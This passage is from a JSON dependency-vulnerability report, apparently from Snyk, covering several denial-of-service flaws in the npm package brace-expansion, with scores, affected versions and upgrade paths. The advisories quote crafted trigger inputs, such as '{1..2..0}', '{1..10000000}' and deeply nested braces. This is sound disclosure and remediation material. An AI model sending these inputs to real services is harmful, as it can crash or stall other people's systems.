"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "init-package-json@8.2.5", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "init-package-json@8.2.5", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub 